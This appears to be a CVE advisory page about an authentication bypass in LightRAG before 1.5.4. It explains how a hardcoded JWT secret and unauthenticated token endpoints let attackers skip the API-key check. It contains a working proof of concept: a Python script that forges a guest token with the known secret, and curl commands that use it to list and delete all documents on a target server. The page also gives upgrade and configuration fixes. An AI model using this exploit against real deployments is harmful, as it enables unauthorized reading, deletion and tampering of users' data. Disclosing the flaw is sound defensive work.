LightRAG, Authentication Bypass, CVE-2026-61740 (Critical) -DC-Jul2026-1103

Listen to this Post

How CVE-2026-61740 Works

CVE-2026-61740 is a critical improper authentication vulnerability in HKUDS LightRAG versions prior to 1.5.4. The flaw manifests when the server is deployed with the `LIGHTRAG_API_KEY` environment variable set (which the operator believes enables API-key protection) but the `AUTH_ACCOUNTS` variable is unset. This specific configuration is documented by LightRAG as the “simple API-Key authentication” mode and is expected to be common in production.
The vulnerability arises from the combination of three distinct code paths. First, the file `lightrag/api/config.py` ships with a hardcoded default JWT secret: DEFAULT_TOKEN_SECRET="lightrag-jwt-default-secret-key!". Second, in lightrag/api/auth.py, the `AuthHandler` falls back to this hardcoded `DEFAULT_TOKEN_SECRET` with only a warning log when `AUTH_ACCOUNTS` is not configured. The previous fix for CVE-2026-30762 only addressed the case where `AUTH_ACCOUNTS` was set, leaving the API-key-only path silently vulnerable.
Third, the endpoints `GET /auth-status` and `POST /login` in `lightrag/api/lightrag_server.py` are exposed without any authentication dependency. In the API-key-only configuration, `auth_handler.accounts` is empty, and both endpoints unconditionally mint and return a signed guest JWT. Finally, inside `combined_dependency` in lightrag/api/utils_api.py, the code short-circuits authorization on any valid guest token when `auth_configured` is false, before even reaching the `X-API-Key` check.
An attacker can exploit this by either calling the public `/auth-status` endpoint to receive a guest JWT, or by minting one offline using the publicly known hardcoded secret. With this token, they can bypass the `X-API-Key` protection and call any endpoint guarded by Depends(combined_auth). This includes destructive operations such as reading and deleting documents (GET /documents, DELETE /documents), uploading arbitrary documents (POST /documents/upload), clearing caches (/documents/clear_cache), mutating the knowledge graph (/graph/), and running queries that consume paid LLM/embedding credits (/query, /query/stream). The vulnerability is distinct from the previously-fixed CVE-2026-30762, which only covered the AUTH_ACCOUNTS-configured case.

DailyCVE Form:

Platform: LightRAG
Version: < 1.5.4
Vulnerability: Authentication Bypass
Severity: Critical (9.3)
date: 2026-07-15

Prediction: 2026-07-15

What Undercode Say:

Analyzing the vulnerability’s root cause and impact reveals a systemic failure in handling multiple authentication configurations. The codebase contains hardcoded credentials, exposes unauthenticated token-minting endpoints, and contains a logic flaw that short-circuits API-key checks when a guest token is present. This creates a perfect storm where the documented “secure” configuration is trivially bypassable. The fix requires addressing all three issues in tandem, not just the `AUTH_ACCOUNTS` path.

Offline minting of a guest JWT using the hardcoded secret
$ python3 - <<'PY'
import jwt
from datetime import datetime, timedelta, timezone
print(jwt.encode(
{"sub":"guest","role":"guest",
"exp":datetime.now(timezone.utc)+timedelta(hours=24),
"metadata":{"auth_mode":"disabled"}},
"lightrag-jwt-default-secret-key!",
algorithm="HS256"))
PY
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJndWVzdCIsInJvbGUiOiJndWVzdCIsImV4cCI6MTc1MzA0OTYwMCwibWV0YWRhdGEiOnsiYXV0aF9tb2RlIjoiZGlzYWJsZWQifX0.3f7k...

Exploit:

Control - No credentials: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" http://target:9876/documents
{"detail":"API Key required"}
HTTP 403
Control - Wrong API key: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" -H "X-API-Key: wrong-key" http://target:9876/documents
{"detail":"Invalid API Key"}
HTTP 403
Bypass - Offline-minted guest JWT: accepted
$ curl -s -w "HTTP %{http_code}\n" -H "Authorization: Bearer <forged_token>" http://target:9876/documents
{"statuses":{}}
HTTP 200
Destructive confirmation - DELETE /documents with the same token
$ curl -s -X DELETE -w "HTTP %{http_code}\n" -H "Authorization: Bearer <forged_token>" http://target:9876/documents
{"status":"success","message":"All documents cleared successfully. Deleted 0 files."}
HTTP 200

Protection:

  • Upgrade to LightRAG version 1.5.4 or later.
  • As a temporary measure until upgrading, ensure that both `LIGHTRAG_API_KEY` and `AUTH_ACCOUNTS` are properly configured to avoid fallback to the default token secret.
  • Do not expose the LightRAG API server to the public internet without a properly configured reverse proxy with its own authentication layer.

Impact:

An unauthenticated remote attacker can bypass API key protections and gain unauthorized access to multiple sensitive endpoints. This leads to:
– Confidentiality Impact (High): Unauthorized reading of all ingested documents and knowledge graph data.
– Integrity Impact (High): Uploading arbitrary documents, deleting the entire document store, and mutating the knowledge graph.
– Availability Impact (Low): Clearing LLM/embedding caches and exhausting paid API credits through arbitrary queries.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top